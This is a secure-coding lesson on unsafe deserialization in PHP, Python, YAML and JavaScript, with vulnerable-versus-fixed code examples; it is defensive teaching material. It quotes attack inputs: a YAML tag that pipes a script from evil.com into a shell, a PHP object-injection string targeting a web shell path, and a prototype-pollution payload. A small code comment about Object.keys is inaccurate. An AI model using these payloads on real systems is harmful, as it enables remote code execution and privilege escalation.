Unsafe Deserialization

Turning attacker-supplied bytes back into objects, and letting the process run code on the way.

Deserialization becomes a vulnerability when the format can express behaviour rather than only data. If reconstructing an object can invoke a constructor, a magic method, or a resolver, an attacker who controls the bytes controls the process.

The dangerous formats

FormatRisk
Java serializationgadget chains → RCE
Python pickleexecutes by design — never on untrusted input
PHP unserialize()object injection via magic methods
Ruby Marshalgadget chains
YAML with type tags!!python/object, !ruby/object → RCE
.NET BinaryFormatterdeprecated for exactly this reason
JSONdata only — safe by construction

The rule

Use JSON for anything that crosses a trust boundary. It cannot express types, constructors or references, so there is nothing to exploit. That constraint is the feature.

YAML deserves a specific warning

YAML looks like a config format and is often used for user-supplied configuration. Full YAML supports type tags that instantiate arbitrary classes. Always use the safe loader — yaml.safe_load in Python, Yaml::parse without object support in PHP, js-yaml's default schema in Node — and never the one that resolves types.

The JSON-adjacent risks

JSON itself is safe, but what you do with it may not be:

  • Prototype pollution. __proto__ in a parsed object can poison Object.prototype in JavaScript, changing behaviour everywhere.
  • Type confusion. A field you assumed was a string arrives as an object — the NoSQL injection class.
  • Depth and size. A deeply nested document exhausts the parser.

If you must accept a rich format

Sign it. If a serialized blob has to round-trip through a client — a cursor, a resume token, a state parameter — attach an HMAC and verify before deserialising. Better still, store the state server-side and hand out an opaque id.

Example

Example · php
<?php
// ❌ PHP object injection: unserialize() on client data
$prefs = unserialize($_COOKIE['prefs']);
// The attacker crafts a serialized object of ANY class the app can load.
// Its __destruct / __wakeup / __toString then runs with their data in it.
// O:8:"FileLog":1:{s:4:"path";s:22:"/var/www/html/shell.php";}

// ✅ JSON: data only, no classes, nothing to invoke
$prefs = json_decode($_COOKIE['prefs'], true, 8, JSON_THROW_ON_ERROR);
if (!is_array($prefs)) { $prefs = []; }

// ✅ And validate it — decoded JSON is still untrusted input
$theme  = in_array($prefs['theme'] ?? '', ['light','dark'], true)
            ? $prefs['theme'] : 'light';
$locale = preg_match('/^[a-z]{2}(-[A-Z]{2})?$/', $prefs['locale'] ?? '')
            ? $prefs['locale'] : 'en';

When to use it

  • A PHP application is compromised through a serialized preferences cookie that instantiated a class with a destructive __destruct method.
  • A Python service accepting a pickled cursor is turned into remote code execution by a crafted pagination token.
  • A YAML config upload feature is exploited with a type tag until the loader is switched to the safe schema.

More examples

Signed state instead of trusted deserialization

Validating the shape after verifying the signature is not redundant: the signature proves you produced it, not that a code change has not altered what you expect.

Example · javascript
import { createHmac, timingSafeEqual } from 'crypto';

// Some state genuinely has to round-trip through the client: a pagination
// cursor, a wizard step, an OAuth state. Two safe ways to do it.

// ── Option A: sign it, and verify before parsing ──────────────────────
export function packState(obj, ttlSeconds = 900) {
  const payload = Buffer.from(JSON.stringify({
    ...obj,
    exp: Math.floor(Date.now() / 1000) + ttlSeconds,
  })).toString('base64url');

  const sig = createHmac('sha256', STATE_SECRET).update(payload).digest('base64url');
  return `${payload}.${sig}`;
}

export function unpackState(token) {
  const [payload, sig] = String(token).split('.');
  if (!payload || !sig) throw new BadRequestError('malformed_state');

  // Verify FIRST. Never parse anything you have not authenticated.
  const expected = createHmac('sha256', STATE_SECRET).update(payload).digest('base64url');
  const a = Buffer.from(sig), b = Buffer.from(expected);
  if (a.length !== b.length || !timingSafeEqual(a, b)) {
    throw new BadRequestError('invalid_state');
  }

  const decoded = JSON.parse(Buffer.from(payload, 'base64url').toString('utf8'));
  if (decoded.exp * 1000 < Date.now()) throw new BadRequestError('expired_state');

  // Still validate the SHAPE — a signature proves origin, not correctness.
  return cursorSchema.parse(decoded);
}

// ── Option B (better): keep the state server-side ─────────────────────
export async function createCursor(state) {
  const id = crypto.randomUUID();
  await redis.set(`cursor:${id}`, JSON.stringify(state), 'EX', 900);
  return id;                       // the client holds an opaque uuid
}

export async function readCursor(id) {
  if (!/^[0-9a-f-]{36}$/.test(String(id))) throw new BadRequestError('bad_cursor');
  const raw = await redis.get(`cursor:${id}`);
  if (!raw) throw new BadRequestError('expired_cursor');
  return JSON.parse(raw);          // we wrote it, so we know its shape
}

// Option B is strictly safer and usually simpler. Reach for A only when you
// genuinely cannot hold server-side state.

YAML, and the loader that matters

Setting the schema explicitly rather than relying on a library default is worth the extra line — defaults change between major versions and between libraries.

Example · javascript
// YAML is common for user-supplied configuration, and full YAML can
// instantiate objects.

// ── Python ────────────────────────────────────────────────────────────
// ❌ yaml.load(user_input)                       ← executes type tags
// ❌ yaml.load(user_input, Loader=yaml.Loader)
// ✅ yaml.safe_load(user_input)                  ← data only
//
// The payload:
//   !!python/object/apply:os.system ["curl evil.com/x.sh | sh"]

// ── Node (js-yaml) ────────────────────────────────────────────────────
import yaml from 'js-yaml';

// js-yaml v4's default load() uses the safe schema — but be explicit,
// because older code and other libraries do not.
const config = yaml.load(userInput, {
  schema: yaml.CORE_SCHEMA,     // no custom types, no functions
  json: true,                   // duplicate keys throw rather than silently win
  onWarning: (w) => logger.warn({ w }, 'yaml warning'),
});

// Bound it before parsing, and validate after.
if (userInput.length > 64 * 1024) throw new BadRequestError('config too large');
const parsed = configSchema.parse(config);

// ── PHP ───────────────────────────────────────────────────────────────
// ❌ Yaml::parse($input, Yaml::PARSE_OBJECT | Yaml::PARSE_OBJECT_FOR_MAP)
// ✅ Yaml::parse($input)                          ← no object support

// ── The general rule ──────────────────────────────────────────────────
// Ask of any format: can it express a TYPE or a CALL?
//   JSON            → no  → safe to parse untrusted input
//   YAML safe mode  → no  → safe
//   YAML full       → YES → never on untrusted input
//   pickle/Marshal  → YES → never, at all
//   XML with DTDs   → YES (entities) → disable them; see the XXE lesson

Prototype pollution: JSON's own footgun

Using Object.keys rather than for..in is the subtle half of fix 4: for..in walks inherited properties, which is how the pollution propagates further.

Example · javascript
// JSON cannot instantiate classes, but in JavaScript a key called __proto__
// can still change how every object in the process behaves.

// The payload
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');

// A naive deep merge propagates it
function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      target[key] ??= {};
      merge(target[key], source[key]);      // ← writes through to the prototype
    } else {
      target[key] = source[key];
    }
  }
  return target;
}
merge({}, payload);

// Now, everywhere in the process:
console.log({}.isAdmin);            // true
if (someUnrelatedObject.isAdmin) { /* ← runs for every object */ }

// ── Fix 1: strip the poisoning keys during parse ──────────────────────
const safe = JSON.parse(raw, (key, value) =>
  ['__proto__', 'constructor', 'prototype'].includes(key) ? undefined : value);

// ── Fix 2: reject unknown keys with a strict schema ───────────────────
const parsed = z.object({ name: z.string() }).strict().parse(raw);

// ── Fix 3: a null-prototype object has nothing to pollute ─────────────
const config = Object.assign(Object.create(null), parsed);

// ── Fix 4: guard the merge itself ─────────────────────────────────────
const FORBIDDEN = new Set(['__proto__', 'constructor', 'prototype']);
function safeMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (FORBIDDEN.has(key)) continue;
    if (source[key] && typeof source[key] === 'object') {
      target[key] = safeMerge(target[key] ?? {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}
// Object.keys ignores __proto__ as an own key, which is why iterating keys
// rather than using for..in is part of the fix.

// ── Fix 5: freeze the prototype at startup ────────────────────────────
Object.freeze(Object.prototype);   // heavy-handed; breaks some libraries

// This is worth checking in your dependencies too — lodash, minimist and
// several config libraries have all shipped this bug.

Discussion

  • Be the first to comment on this lesson.